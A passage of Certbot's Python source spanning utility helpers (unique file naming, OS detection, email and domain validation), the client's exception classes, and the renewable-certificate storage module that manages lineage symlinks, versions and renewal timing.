        current_path = os.path.join(path, filename_pat(count))
        try:
            return safe_open(current_path, chmod=mode),\
                os.path.abspath(current_path)
        except OSError as err:
            # "File exists," is okay, try a different name.
            if err.errno != errno.EEXIST:
                raise
        count += 1


def unique_file(path, mode=0o777):
    """Safely finds a unique file.

    :param str path: path/filename.ext
    :param int mode: File mode

    :returns: tuple of file object and file name

    """
    path, tail = os.path.split(path)
    return _unique_file(
        path, filename_pat=(lambda count: "%04d_%s" % (count, tail)),
        count=0, mode=mode)


def unique_lineage_name(path, filename, mode=0o777):
    """Safely finds a unique file using lineage convention.

    :param str path: directory path
    :param str filename: proposed filename
    :param int mode: file mode

    :returns: tuple of file object and file name (which may be modified
        from the requested one by appending digits to ensure uniqueness)

    :raises OSError: if writing files fails for an unanticipated reason,
        such as a full disk or a lack of permission to write to
        specified location.

    """
    preferred_path = os.path.join(path, "%s.conf" % (filename))
    try:
        return safe_open(preferred_path, chmod=mode), preferred_path
    except OSError as err:
        if err.errno != errno.EEXIST:
            raise
    return _unique_file(
        path, filename_pat=(lambda count: "%s-%04d.conf" % (filename, count)),
        count=1, mode=mode)


def safely_remove(path):
    """Remove a file that may not exist."""
    try:
        os.remove(path)
    except OSError as err:
        if err.errno != errno.ENOENT:
            raise


def get_os_info(filepath="/etc/os-release"):
    """
    Get OS name and version

    :param str filepath: File path of os-release file
    :returns: (os_name, os_version)
    :rtype: `tuple` of `str`
    """

    if os.path.isfile(filepath):
        # Systemd os-release parsing might be viable
        os_name, os_version = get_systemd_os_info(filepath=filepath)
        if os_name:
            return (os_name, os_version)

    # Fallback to platform module
    return get_python_os_info()


def get_os_info_ua(filepath="/etc/os-release"):
    """
    Get OS name and version string for User Agent

    :param str filepath: File path of os-release file
    :returns: os_ua
    :rtype: `str`
    """

    if os.path.isfile(filepath):
        os_ua = _get_systemd_os_release_var("PRETTY_NAME", filepath=filepath)
        if not os_ua:
            os_ua = _get_systemd_os_release_var("NAME", filepath=filepath)
        if os_ua:
            return os_ua

    # Fallback
    return " ".join(get_python_os_info())


def get_systemd_os_info(filepath="/etc/os-release"):
    """
    Parse systemd /etc/os-release for distribution information

    :param str filepath: File path of os-release file
    :returns: (os_name, os_version)
    :rtype: `tuple` of `str`
    """

    os_name = _get_systemd_os_release_var("ID", filepath=filepath)
    os_version = _get_systemd_os_release_var("VERSION_ID", filepath=filepath)

    return (os_name, os_version)


def get_systemd_os_like(filepath="/etc/os-release"):
    """
    Get a list of strings that indicate the distribution likeness to
    other distributions.

    :param str filepath: File path of os-release file
    :returns: List of distribution acronyms
    :rtype: `list` of `str`
    """

    return _get_systemd_os_release_var("ID_LIKE", filepath).split(" ")


def _get_systemd_os_release_var(varname, filepath="/etc/os-release"):
    """
    Get single value from systemd /etc/os-release

    :param str varname: Name of variable to fetch
    :param str filepath: File path of os-release file
    :returns: requested value
    :rtype: `str`
    """

    var_string = varname+"="
    if not os.path.isfile(filepath):
        return ""
    with open(filepath, 'r') as fh:
        contents = fh.readlines()

    for line in contents:
        if line.strip().startswith(var_string):
            # Return the value of var, normalized
            return _normalize_string(line.strip()[len(var_string):])
    return ""


def _normalize_string(orig):
    """
    Helper function for _get_systemd_os_release_var() to remove quotes
    and whitespaces
    """
    return orig.replace('"', '').replace("'", "").strip()


def get_python_os_info():
    """
    Get Operating System type/distribution and major version
    using python platform module

    :returns: (os_name, os_version)
    :rtype: `tuple` of `str`
    """
    info = platform.system_alias(
        platform.system(),
        platform.release(),
        platform.version()
    )
    os_type, os_ver, _ = info
    os_type = os_type.lower()
    if os_type.startswith('linux'):
        info = platform.linux_distribution()
        # On arch, platform.linux_distribution() is reportedly ('','',''),
        # so handle it defensively
        if info[0]:
            os_type = info[0]
        if info[1]:
            os_ver = info[1]
    elif os_type.startswith('darwin'):
        os_ver = subprocess.Popen(
            ["sw_vers", "-productVersion"],
            stdout=subprocess.PIPE
        ).communicate()[0].rstrip('\n')
    elif os_type.startswith('freebsd'):
        # eg "9.3-RC3-p1"
        os_ver = os_ver.partition("-")[0]
        os_ver = os_ver.partition(".")[0]
    elif platform.win32_ver()[1]:
        os_ver = platform.win32_ver()[1]
    else:
        # Cases known to fall here: Cygwin python
        os_ver = ''
    return os_type, os_ver

# Just make sure we don't get pwned... Make sure that it also doesn't
# start with a period or have two consecutive periods <- this needs to
# be done in addition to the regex
EMAIL_REGEX = re.compile("[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+$")


def safe_email(email):
    """Scrub email address before using it."""
    if EMAIL_REGEX.match(email) is not None:
        return not email.startswith(".") and ".." not in email
    else:
        logger.warning("Invalid email address: %s.", email)
        return False


def add_deprecated_argument(add_argument, argument_name, nargs):
    """Adds a deprecated argument with the name argument_name.

    Deprecated arguments are not shown in the help. If they are used on
    the command line, a warning is shown stating that the argument is
    deprecated and no other action is taken.

    :param callable add_argument: Function that adds arguments to an
        argument parser/group.
    :param str argument_name: Name of deprecated argument.
    :param nargs: Value for nargs when adding the argument to argparse.

    """
    class ShowWarning(argparse.Action):
        """Action to log a warning when an argument is used."""
        def __call__(self, unused1, unused2, unused3, option_string=None):
            sys.stderr.write(
                "Use of {0} is deprecated.\n".format(option_string))

    configargparse.ACTION_TYPES_THAT_DONT_NEED_A_VALUE.add(ShowWarning)
    add_argument(argument_name, action=ShowWarning,
                 help=argparse.SUPPRESS, nargs=nargs)


def enforce_domain_sanity(domain):
    """Method which validates domain value and errors out if
    the requirements are not met.

    :param domain: Domain to check
    :type domains: `str` or `unicode`
    :raises ConfigurationError: for invalid domains and cases where Let's
                                Encrypt currently will not issue certificates

    :returns: The domain cast to `str`, with ASCII-only contents
    :rtype: str
    """
    if isinstance(domain, six.text_type):
        wildcard_marker = u"*."
        punycode_marker = u"xn--"
    else:
        wildcard_marker = b"*."
        punycode_marker = b"xn--"

    # Check if there's a wildcard domain
    if domain.startswith(wildcard_marker):
        raise errors.ConfigurationError(
            "Wildcard domains are not supported: {0}".format(domain))
    # Punycode
    if punycode_marker in domain:
        raise errors.ConfigurationError(
            "Punycode domains are not presently supported: {0}".format(domain))

    # Unicode
    try:
        if isinstance(domain, six.binary_type):
            domain = domain.decode('utf-8')
        domain.encode('ascii')
    except UnicodeError:
        error_fmt = (u"Internationalized domain names "
                     "are not presently supported: {0}")
        if isinstance(domain, six.text_type):
            raise errors.ConfigurationError(error_fmt.format(domain))
        else:
            raise errors.ConfigurationError(str(error_fmt).format(domain))

    domain = domain.lower()

    # Remove trailing dot
    domain = domain[:-1] if domain.endswith(u'.') else domain

    # Explain separately that IP addresses aren't allowed (apart from not
    # being FQDNs) because hope springs eternal concerning this point
    try:
        socket.inet_aton(domain)
        raise errors.ConfigurationError(
            "Requested name {0} is an IP address. The Let's Encrypt "
            "certificate authority will not issue certificates for a "
            "bare IP address.".format(domain))
    except socket.error:
        # It wasn't an IP address, so that's good
        pass

    # FQDN checks according to RFC 2181: domain name should be less than 255
    # octets (inclusive). And each label is 1 - 63 octets (inclusive).
    # https://tools.ietf.org/html/rfc2181#section-11
    msg = "Requested domain {0} is not a FQDN because ".format(domain)
    labels = domain.split('.')
    for l in labels:
        if not 0 < len(l) < 64:
            raise errors.ConfigurationError(msg + "label {0} is too long.".format(l))
    if len(domain) > 255:
        raise errors.ConfigurationError(msg + "it is too long.")

    return domain


def get_strict_version(normalized):
    """Converts a normalized version to a strict version.

    :param str normalized: normalized version string

    :returns: An equivalent strict version
    :rtype: distutils.version.StrictVersion

    """
    # strict version ending with "a" and a number designates a pre-release
    # pylint: disable=no-member
    return distutils.version.StrictVersion(normalized.replace(".dev", "a"))






"""Certbot client errors."""


class Error(Exception):
    """Generic Certbot client error."""


class AccountStorageError(Error):
    """Generic `.AccountStorage` error."""


class AccountNotFound(AccountStorageError):
    """Account not found error."""


class ReverterError(Error):
    """Certbot Reverter error."""


class SubprocessError(Error):
    """Subprocess handling error."""


class CertStorageError(Error):
    """Generic `.CertStorage` error."""


class HookCommandNotFound(Error):
    """Failed to find a hook command in the PATH."""


class SignalExit(Error):
    """A Unix signal was recieved while in the ErrorHandler context manager."""


# Auth Handler Errors
class AuthorizationError(Error):
    """Authorization error."""


class FailedChallenges(AuthorizationError):
    """Failed challenges error.

    :ivar set failed_achalls: Failed `.AnnotatedChallenge` instances.

    """
    def __init__(self, failed_achalls):
        assert failed_achalls
        self.failed_achalls = failed_achalls
        super(FailedChallenges, self).__init__()

    def __str__(self):
        return "Failed authorization procedure. {0}".format(
            ", ".join(
                "{0} ({1}): {2}".format(achall.domain, achall.typ, achall.error)
                for achall in self.failed_achalls if achall.error is not None))


# Plugin Errors
class PluginError(Error):
    """Certbot Plugin error."""


class PluginEnhancementAlreadyPresent(Error):
    """ Enhancement was already set """


class PluginSelectionError(Error):
    """A problem with plugin/configurator selection or setup"""


class NoInstallationError(PluginError):
    """Certbot No Installation error."""


class MisconfigurationError(PluginError):
    """Certbot Misconfiguration error."""


class NotSupportedError(PluginError):
    """Certbot Plugin function not supported error."""


class StandaloneBindError(Error):
    """Standalone plugin bind error."""

    def __init__(self, socket_error, port):
        super(StandaloneBindError, self).__init__(
            "Problem binding to port {0}: {1}".format(port, socket_error))
        self.socket_error = socket_error
        self.port = port


class ConfigurationError(Error):
    """Configuration sanity error."""

# NoninteractiveDisplay iDisplay plugin error:

class MissingCommandlineFlag(Error):
    """A command line argument was missing in noninteractive usage"""






"""Renewable certificates storage."""
import datetime
import logging
import os
import re

import configobj
import parsedatetime
import pytz
import six

import certbot
from certbot import cli
from certbot import constants
from certbot import crypto_util
from certbot import errors
from certbot import error_handler
from certbot import util

logger = logging.getLogger(__name__)

ALL_FOUR = ("cert", "privkey", "chain", "fullchain")
CURRENT_VERSION = util.get_strict_version(certbot.__version__)


def config_with_defaults(config=None):
    """Merge supplied config, if provided, on top of builtin defaults."""
    defaults_copy = configobj.ConfigObj(constants.RENEWER_DEFAULTS)
    defaults_copy.merge(config if config is not None else configobj.ConfigObj())
    return defaults_copy


def add_time_interval(base_time, interval, textparser=parsedatetime.Calendar()):
    """Parse the time specified time interval, and add it to the base_time

    The interval can be in the English-language format understood by
    parsedatetime, e.g., '10 days', '3 weeks', '6 months', '9 hours', or
    a sequence of such intervals like '6 months 1 week' or '3 days 12
    hours'. If an integer is found with no associated unit, it is
    interpreted by default as a number of days.

    :param datetime.datetime base_time: The time to be added with the interval.
    :param str interval: The time interval to parse.

    :returns: The base_time plus the interpretation of the time interval.
    :rtype: :class:`datetime.datetime`"""

    if interval.strip().isdigit():
        interval += " days"

    # try to use the same timezone, but fallback to UTC
    tzinfo = base_time.tzinfo or pytz.UTC

    return textparser.parseDT(interval, base_time, tzinfo=tzinfo)[0]


def write_renewal_config(o_filename, n_filename, target, relevant_data):
    """Writes a renewal config file with the specified name and values.

    :param str o_filename: Absolute path to the previous version of config file
    :param str n_filename: Absolute path to the new destination of config file
    :param dict target: Maps ALL_FOUR to their symlink paths
    :param dict relevant_data: Renewal configuration options to save

    :returns: Configuration object for the new config file
    :rtype: configobj.ConfigObj

    """
    config = configobj.ConfigObj(o_filename)
    config["version"] = certbot.__version__
    for kind in ALL_FOUR:
        config[kind] = target[kind]

    if "renewalparams" not in config:
        config["renewalparams"] = {}
        config.comments["renewalparams"] = ["",
                                            "Options used in "
                                            "the renewal process"]

    config["renewalparams"].update(relevant_data)

    for k in config["renewalparams"].keys():
        if k not in relevant_data:
            del config["renewalparams"][k]

    if "renew_before_expiry" not in config:
        default_interval = constants.RENEWER_DEFAULTS["renew_before_expiry"]
        config.initial_comment = ["renew_before_expiry = " + default_interval]

    # TODO: add human-readable comments explaining other available
    #       parameters
    logger.debug("Writing new config %s.", n_filename)
    with open(n_filename, "wb") as f:
        config.write(outfile=f)
    return config


def update_configuration(lineagename, target, cli_config):
    """Modifies lineagename's config to contain the specified values.

    :param str lineagename: Name of the lineage being modified
    :param dict target: Maps ALL_FOUR to their symlink paths
    :param .RenewerConfiguration cli_config: parsed command line
        arguments

    :returns: Configuration object for the updated config file
    :rtype: configobj.ConfigObj

    """
    config_filename = os.path.join(
        cli_config.renewal_configs_dir, lineagename) + ".conf"
    temp_filename = config_filename + ".new"

    # If an existing tempfile exists, delete it
    if os.path.exists(temp_filename):
        os.unlink(temp_filename)

    # Save only the config items that are relevant to renewal
    values = relevant_values(vars(cli_config.namespace))
    write_renewal_config(config_filename, temp_filename, target, values)
    os.rename(temp_filename, config_filename)

    return configobj.ConfigObj(config_filename)


def get_link_target(link):
    """Get an absolute path to the target of link.

    :param str link: Path to a symbolic link

    :returns: Absolute path to the target of link
    :rtype: str

    """
    target = os.readlink(link)
    if not os.path.isabs(target):
        target = os.path.join(os.path.dirname(link), target)
    return os.path.abspath(target)


def _relevant(option):
    """
    Is this option one that could be restored for future renewal purposes?
    :param str option: the name of the option

    :rtype: bool
    """
    # The list() here produces a list of the plugin names as strings.
    from certbot import renewal
    from certbot.plugins import disco as plugins_disco
    plugins = list(plugins_disco.PluginsRegistry.find_all())
    return (option in renewal.STR_CONFIG_ITEMS
            or option in renewal.INT_CONFIG_ITEMS
            or any(option.startswith(x + "_") for x in plugins))


def relevant_values(all_values):
    """Return a new dict containing only items relevant for renewal.

    :param dict all_values: The original values.

    :returns: A new dictionary containing items that can be used in renewal.
    :rtype dict:

    """
    return dict(
        (option, value)
        for option, value in six.iteritems(all_values)
        if _relevant(option) and cli.option_was_set(option, value))


class RenewableCert(object):  # pylint: disable=too-many-instance-attributes
    """Renewable certificate.

    Represents a lineage of certificates that is under the management of
    Certbot, indicated by the existence of an associated renewal
    configuration file.

    Note that the notion of "current version" for a lineage is
    maintained on disk in the structure of symbolic links, and is not
    explicitly stored in any instance variable in this object. The
    RenewableCert object is able to determine information about the
    current (or other) version by accessing data on disk, but does not
    inherently know any of this information except by examining the
    symbolic links as needed. The instance variables mentioned below
    point to symlinks that reflect the notion of "current version" of
    each managed object, and it is these paths that should be used when
    configuring servers to use the certificate managed in a lineage.
    These paths are normally within the "live" directory, and their
    symlink targets -- the actual cert files -- are normally found
    within the "archive" directory.

    :ivar str cert: The path to the symlink representing the current
        version of the certificate managed by this lineage.
    :ivar str privkey: The path to the symlink representing the current
        version of the private key managed by this lineage.
    :ivar str chain: The path to the symlink representing the current version
        of the chain managed by this lineage.
    :ivar str fullchain: The path to the symlink representing the
        current version of the fullchain (combined chain and cert)
        managed by this lineage.
    :ivar configobj.ConfigObj configuration: The renewal configuration
        options associated with this lineage, obtained from parsing the
        renewal configuration file and/or systemwide defaults.

    """
    def __init__(self, config_filename, cli_config):
        """Instantiate a RenewableCert object from an existing lineage.

        :param str config_filename: the path to the renewal config file
            that defines this lineage.
        :param .RenewerConfiguration: parsed command line arguments

        :raises .CertStorageError: if the configuration file's name didn't end
            in ".conf", or the file is missing or broken.

        """
        self.cli_config = cli_config
        if not config_filename.endswith(".conf"):
            raise errors.CertStorageError(
                "renewal config file name must end in .conf")
        self.lineagename = os.path.basename(
            config_filename[:-len(".conf")])

        # self.configuration should be used to read parameters that
        # may have been chosen based on default values from the
        # systemwide renewal configuration; self.configfile should be
        # used to make and save changes.
        try:
            self.configfile = configobj.ConfigObj(config_filename)
        except configobj.ConfigObjError:
            raise errors.CertStorageError(
                "error parsing {0}".format(config_filename))
        # TODO: Do we actually use anything from defaults and do we want to
        #       read further defaults from the systemwide renewal configuration
        #       file at this stage?
        self.configuration = config_with_defaults(self.configfile)

        if not all(x in self.configuration for x in ALL_FOUR):
            raise errors.CertStorageError(
                "renewal config file {0} is missing a required "
                "file reference".format(self.configfile))

        conf_version = self.configuration.get("version")
        if (conf_version is not None and
                util.get_strict_version(conf_version) > CURRENT_VERSION):
            logger.warning(
                "Attempting to parse the version %s renewal configuration "
                "file found at %s with version %s of Certbot. This might not "
                "work.", conf_version, config_filename, certbot.__version__)

        self.cert = self.configuration["cert"]
        self.privkey = self.configuration["privkey"]
        self.chain = self.configuration["chain"]
        self.fullchain = self.configuration["fullchain"]
        self.live_dir = os.path.dirname(self.cert)

        self._fix_symlinks()
        self._check_symlinks()

    def _check_symlinks(self):
        """Raises an exception if a symlink doesn't exist"""
        for kind in ALL_FOUR:
            link = getattr(self, kind)
            if not os.path.islink(link):
                raise errors.CertStorageError(
                    "expected {0} to be a symlink".format(link))
            target = get_link_target(link)
            if not os.path.exists(target):
                raise errors.CertStorageError("target {0} of symlink {1} does "
                                              "not exist".format(target, link))

    def _consistent(self):
        """Are the files associated with this lineage self-consistent?

        :returns: Whether the files stored in connection with this
            lineage appear to be correct and consistent with one
            another.
        :rtype: bool

        """
        # Each element must be referenced with an absolute path
        for x in (self.cert, self.privkey, self.chain, self.fullchain):
            if not os.path.isabs(x):
                logger.debug("Element %s is not referenced with an "
                             "absolute path.", x)
                return False

        # Each element must exist and be a symbolic link
        for x in (self.cert, self.privkey, self.chain, self.fullchain):
            if not os.path.islink(x):
                logger.debug("Element %s is not a symbolic link.", x)
                return False
        for kind in ALL_FOUR:
            link = getattr(self, kind)
            target = get_link_target(link)

            # Each element's link must point within the cert lineage's
            # directory within the official archive directory
            desired_directory = os.path.join(
                self.cli_config.archive_dir, self.lineagename)
            if not os.path.samefile(os.path.dirname(target),
                                    desired_directory):
                logger.debug("Element's link does not point within the "
                             "cert lineage's directory within the "
                             "official archive directory. Link: %s, "
                             "target directory: %s, "
                             "archive directory: %s.",
                             link, os.path.dirname(target), desired_directory)
                return False

            # The link must point to a file that exists
            if not os.path.exists(target):
                logger.debug("Link %s points to file %s that does not exist.",
                             link, target)
                return False

            # The link must point to a file that follows the archive
            # naming convention
            pattern = re.compile(r"^{0}([0-9]+)\.pem$".format(kind))
            if not pattern.match(os.path.basename(target)):
                logger.debug("%s does not follow the archive naming "
                             "convention.", target)
                return False

            # It is NOT required that the link's target be a regular
            # file (it may itself be a symlink). But we should probably
            # do a recursive check that ultimately the target does
            # exist?
        # XXX: Additional possible consistency checks (e.g.
        #      cryptographic validation of the chain being a chain,
        #      the chain matching the cert, and the cert matching
        #      the subject key)
        # XXX: All four of the targets are in the same directory
        #      (This check is redundant with the check that they
        #      are all in the desired directory!)
        #      len(set(os.path.basename(self.current_target(x)
        #      for x in ALL_FOUR))) == 1
        return True

    def _fix(self):
        """Attempt to fix defects or inconsistencies in this lineage.

        .. todo:: Currently unimplemented.

        """
        # TODO: Figure out what kinds of fixes are possible.  For
        #       example, checking if there is a valid version that
        #       we can update the symlinks to.  (Maybe involve
        #       parsing keys and certs to see if they exist and
        #       if a key corresponds to the subject key of a cert?)

    # TODO: In general, the symlink-reading functions below are not
    #       cautious enough about the possibility that links or their
    #       targets may not exist.  (This shouldn't happen, but might
    #       happen as a result of random tampering by a sysadmin, or
    #       filesystem errors, or crashes.)

    def _previous_symlinks(self):
        """Returns the kind and path of all symlinks used in recovery.

        :returns: list of (kind, symlink) tuples
        :rtype: list

        """
        previous_symlinks = []
        for kind in ALL_FOUR:
            link_dir = os.path.dirname(getattr(self, kind))
            link_base = "previous_{0}.pem".format(kind)
            previous_symlinks.append((kind, os.path.join(link_dir, link_base)))

        return previous_symlinks

    def _fix_symlinks(self):
        """Fixes symlinks in the event of an incomplete version update.

        If there is no problem with the current symlinks, this function
        has no effect.

        """
        previous_symlinks = self._previous_symlinks()
        if all(os.path.exists(link[1]) for link in previous_symlinks):
            for kind, previous_link in previous_symlinks:
                current_link = getattr(self, kind)
                if os.path.lexists(current_link):
                    os.unlink(current_link)
                os.symlink(os.readlink(previous_link), current_link)

        for _, link in previous_symlinks:
            if os.path.exists(link):
                os.unlink(link)

    def current_target(self, kind):
        """Returns full path to which the specified item currently points.

        :param str kind: the lineage member item ("cert", "privkey",
            "chain", or "fullchain")

        :returns: The path to the current version of the specified
            member.
        :rtype: str or None

        """
        if kind not in ALL_FOUR:
            raise errors.CertStorageError("unknown kind of item")
        link = getattr(self, kind)
        if not os.path.exists(link):
            logger.debug("Expected symlink %s for %s does not exist.",
                         link, kind)
            return None
        return get_link_target(link)

    def current_version(self, kind):
        """Returns numerical version of the specified item.

        For example, if kind is "chain" and the current chain link
        points to a file named "chain7.pem", returns the integer 7.

        :param str kind: the lineage member item ("cert", "privkey",
            "chain", or "fullchain")

        :returns: the current version of the specified member.
        :rtype: int

        """
        if kind not in ALL_FOUR:
            raise errors.CertStorageError("unknown kind of item")
        pattern = re.compile(r"^{0}([0-9]+)\.pem$".format(kind))
        target = self.current_target(kind)
        if target is None or not os.path.exists(target):
            logger.debug("Current-version target for %s "
                         "does not exist at %s.", kind, target)
            target = ""
        matches = pattern.match(os.path.basename(target))
        if matches:
            return int(matches.groups()[0])
        else:
            logger.debug("No matches for target %s.", kind)
            return None

    def version(self, kind, version):
        """The filename that corresponds to the specified version and kind.

        .. warning:: The specified version may not exist in this
           lineage. There is no guarantee that the file path returned
           by this method actually exists.

        :param str kind: the lineage member item ("cert", "privkey",
            "chain", or "fullchain")
        :param int version: the desired version

        :returns: The path to the specified version of the specified member.
        :rtype: str

        """
        if kind not in ALL_FOUR:
            raise errors.CertStorageError("unknown kind of item")
        where = os.path.dirname(self.current_target(kind))
        return os.path.join(where, "{0}{1}.pem".format(kind, version))

    def available_versions(self, kind):
        """Which alternative versions of the specified kind of item exist?

        The archive directory where the current version is stored is
        consulted to obtain the list of alternatives.

        :param str kind: the lineage member item (
            ``cert``, ``privkey``, ``chain``, or ``fullchain``)

        :returns: all of the version numbers that currently exist
        :rtype: `list` of `int`

        """
        if kind not in ALL_FOUR:
            raise errors.CertStorageError("unknown kind of item")
        where = os.path.dirname(self.current_target(kind))
        files = os.listdir(where)
        pattern = re.compile(r"^{0}([0-9]+)\.pem$".format(kind))
        matches = [pattern.match(f) for f in files]
        return sorted([int(m.groups()[0]) for m in matches if m])

    def newest_available_version(self, kind):
        """Newest available version of the specified kind of item?

        :param str kind: the lineage member item (``cert``,
            ``privkey``, ``chain``, or ``fullchain``)

        :returns: the newest available version of this member
        :rtype: int

        """
        return max(self.available_versions(kind))

    def latest_common_version(self):
        """Newest version for which all items are available?

        :returns: the newest available version for which all members
            (``cert, ``privkey``, ``chain``, and ``fullchain``) exist
        :rtype: int

        """
        # TODO: this can raise CertStorageError if there is no version overlap
        #       (it should probably return None instead)
        # TODO: this can raise a spurious AttributeError if the current
        #       link for any kind is missing (it should probably return None)
        versions = [self.available_versions(x) for x in ALL_FOUR]
        return max(n for n in versions[0] if all(n in v for v in versions[1:]))

    def next_free_version(self):
        """Smallest version newer than all full or partial versions?

        :returns: the smallest version number that is larger than any
            version of any item currently stored in this lineage
        :rtype: int

        """
        # TODO: consider locking/mutual exclusion between updating processes
        # This isn't self.latest_common_version() + 1 because we don't want
        # collide with a version that might exist for one file type but not
        # for the others.
        return max(self.newest_available_version(x) for x in ALL_FOUR) + 1

    def has_pending_deployment(self):
        """Is there a later version of all of the managed items?

        :returns: ``True`` if there is a complete version of this
            lineage with a larger version number than the current
            version, and ``False`` otherwis
        :rtype: bool

        """
        # TODO: consider whether to assume consistency or treat
        #       inconsistent/consistent versions differently
        smallest_current = min(self.current_version(x) for x in ALL_FOUR)
        return smallest_current < self.latest_common_version()

    def _update_link_to(self, kind, version):
        """Make the specified item point at the specified version.

        (Note that this method doesn't verify that the specified version
        exists.)

        :param str kind: the lineage member item ("cert", "privkey",
            "chain", or "fullchain")
        :param int version: the desired version

        """
        if kind not in ALL_FOUR:
            raise errors.CertStorageError("unknown kind of item")
        link = getattr(self, kind)
        filename = "{0}{1}.pem".format(kind, version)
        # Relative rather than absolute target directory
        target_directory = os.path.dirname(os.readlink(link))
        # TODO: it could be safer to make the link first under a temporary
        #       filename, then unlink the old link, then rename the new link
        #       to the old link; this ensures that this process is able to
        #       create symlinks.
        # TODO: we might also want to check consistency of related links
        #       for the other corresponding items
        os.unlink(link)
        os.symlink(os.path.join(target_directory, filename), link)

    def update_all_links_to(self, version):
        """Change all member objects to point to the specified version.

        :param int version: the desired version

        """
        with error_handler.ErrorHandler(self._fix_symlinks):
            previous_links = self._previous_symlinks()
            for kind, link in previous_links:
                os.symlink(self.current_target(kind), link)

            for kind in ALL_FOUR:
                self._update_link_to(kind, version)

            for _, link in previous_links:
                os.unlink(link)

    def names(self, version=None):
        """What are the subject names of this certificate?

        (If no version is specified, use the current version.)

        :param int version: the desired version number
        :returns: the subject names
        :rtype: `list` of `str`
        :raises .CertStorageError: if could not find cert file.

        """
        if version is None:
            target = self.current_target("cert")
        else:
            target = self.version("cert", version)
        if target is None:
            raise errors.CertStorageError("could not find cert file")
        with open(target) as f:
            return crypto_util.get_names_from_cert(f.read())

    def autodeployment_is_enabled(self):
        """Is automatic deployment enabled for this cert?

        If autodeploy is not specified, defaults to True.

        :returns: True if automatic deployment is enabled
        :rtype: bool

        """
        return ("autodeploy" not in self.configuration or
                self.configuration.as_bool("autodeploy"))

    def should_autodeploy(self, interactive=False):
        """Should this lineage now automatically deploy a newer version?

        This is a policy question and does not only depend on whether
        there is a newer version of the cert. (This considers whether
        autodeployment is enabled, whether a relevant newer version
        exists, and whether the time interval for autodeployment has
        been reached.)

        :param bool interactive: set to True to examine the question
            regardless of whether the renewal configuration allows
            automated deployment (for interactive use). Default False.

        :returns: whether the lineage now ought to autodeploy an
            existing newer cert version
        :rtype: bool

        """
        if interactive or self.autodeployment_is_enabled():
            if self.has_pending_deployment():
                interval = self.configuration.get("deploy_before_expiry",
                                                  "5 days")
                expiry = crypto_util.notAfter(self.current_target("cert"))
                now = pytz.UTC.fromutc(datetime.datetime.utcnow())
                if expiry < add_time_interval(now, interval):
                    return True
        return False

    def ocsp_revoked(self, version=None):
        # pylint: disable=no-self-use,unused-argument
        """Is the specified cert version revoked according to OCSP?

        Also returns True if the cert version is declared as intended
        to be revoked according to Let's Encrypt OCSP extensions.
        (If no version is specified, uses the current version.)

        This method is not yet implemented and currently always returns
        False.

        :param int version: the desired version number

        :returns: whether the certificate is or will be revoked
        :rtype: bool

        """
        # XXX: This query and its associated network service aren't
        # implemented yet, so we currently return False (indicating that the
        # certificate is not revoked).
        return False

    def autorenewal_is_enabled(self):
        """Is automatic renewal enabled for this cert?

        If autorenew is not specified, defaults to True.

        :returns: True if automatic renewal is enabled
        :rtype: bool

        """
        return ("autorenew" not in self.configuration or
                self.configuration.as_bool("autorenew"))

    def should_autorenew(self, interactive=False):
        """Should we now try to autorenew the most recent cert version?

        This is a policy question and does not only depend on whether
        the cert is expired. (This considers whether autorenewal is
        enabled, whether the cert is revoked, and whether the time
        interval for autorenewal has been reached.)

        Note that this examines the numerically most recent cert version,
        not the currently deployed version.

        :param bool interactive: set to True to examine the question
            regardless of whether the renewal configuration allows
            automated renewal (for interactive use). Default False.

        :returns: whether an attempt should now be made to autorenew the
            most current cert version in this lineage
        :rtype: bool

        """
        if interactive or self.autorenewal_is_enabled():
            # Consider whether to attempt to autorenew this cert now

            # Renewals on the basis of revocation
            if self.ocsp_revoked(self.latest_common_version()):
                logger.debug("Should renew, certificate is revoked.")
                return True

            # Renews some period before expiry time
            default_interval = constants.RENEWER_DEFAULTS["renew_before_expiry"]
            interval = self.configuration.get("renew_before_expiry", default_interval)
            expiry = crypto_util.notAfter(self.version(
                "cert", self.latest_common_version()))
            now = pytz.UTC.fromutc(datetime.datetime.utcnow())
            if expiry < add_time_interval(now, interval):
                logger.debug("Should renew, less than %s before certificate "
                             "expiry %s.", interval,
                             expiry.strftime("%Y-%m-%d %H:%M:%S %Z"))
                return True
        return False

    @classmethod
    def new_lineage(cls, lineagename, cert, privkey, chain, cli_config):
        # pylint: disable=too-many-locals
        """Create a new certificate lineage.

        Attempts to create a certificate lineage -- enrolled for
        potential future renewal -- with the (suggested) lineage name
        lineagename, and the associated cert, privkey, and chain (the
        associated fullchain will be created automatically). Optional
        configurator and renewalparams record the configuration that was
        originally used to obtain this cert, so that it can be reused
        later during automated renewal.

        Returns a new RenewableCert object referring to the created
        lineage. (The actual lineage name, as well as all the relevant
        file paths, will be available within this object.)

        :param str lineagename: the suggested name for this lineage
            (normally the current cert's first subject DNS name)
        :param str cert: the initial certificate version in PEM format
        :param str privkey: the private key in PEM format
        :param str chain: the certificate chain in PEM format
        :param .RenewerConfiguration cli_config: parsed command line
            arguments

        :returns: the newly-created RenewalCert object
        :rtype: :class:`storage.renewableCert`

        """

        # Examine the configuration and find the new lineage's name
        for i in (cli_config.renewal_configs_dir, cli_config.archive_dir,
                  cli_config.live_dir):
            if not os.path.exists(i):
                os.makedirs(i, 0o700)
                logger.debug("Creating directory %s.", i)
        config_file, config_filename = util.unique_lineage_name(
            cli_config.renewal_configs_dir, lineagename)
        if not config_filename.endswith(".conf"):
            raise errors.CertStorageError(
                "renewal config file name must end in .conf")

        # Determine where on disk everything will go
        # lineagename will now potentially be modified based on which
        # renewal configuration file could actually be created
        lineagename = os.path.basename(config_filename)[:-len(".conf")]
        archive = os.path.join(cli_config.archive_dir, lineagename)
        live_dir = os.path.join(cli_config.live_dir, lineagename)
        if os.path.exists(archive):
            raise errors.CertStorageError(
                "archive directory exists for " + lineagename)
        if os.path.exists(live_dir):
            raise errors.CertStorageError(
                "live directory exists for " + lineagename)
        os.mkdir(archive)
        os.mkdir(live_dir)
        logger.debug("Archive directory %s and live "
                     "directory %s created.", archive, live_dir)
        relative_archive = os.path.join("..", "..", "archive", lineagename)

        # Put the data into the appropriate files on disk
        target = dict([(kind, os.path.join(live_dir, kind + ".pem"))
                       for kind in ALL_FOUR])
        for kind in ALL_FOUR:
            os.symlink(os.path.join(relative_archive, kind + "1.pem"),
                       target[kind])
        with open(target["cert"], "w") as f:
            logger.debug("Writing certificate to %s.", target["cert"])
            f.write(cert)
        with open(target["privkey"], "w") as f:
            logger.debug("Writing private key to %s.", target["privkey"])
            f.write(privkey)
            # XXX: Let's make sure to get the file permissions right here
        with open(target["chain"], "w") as f:
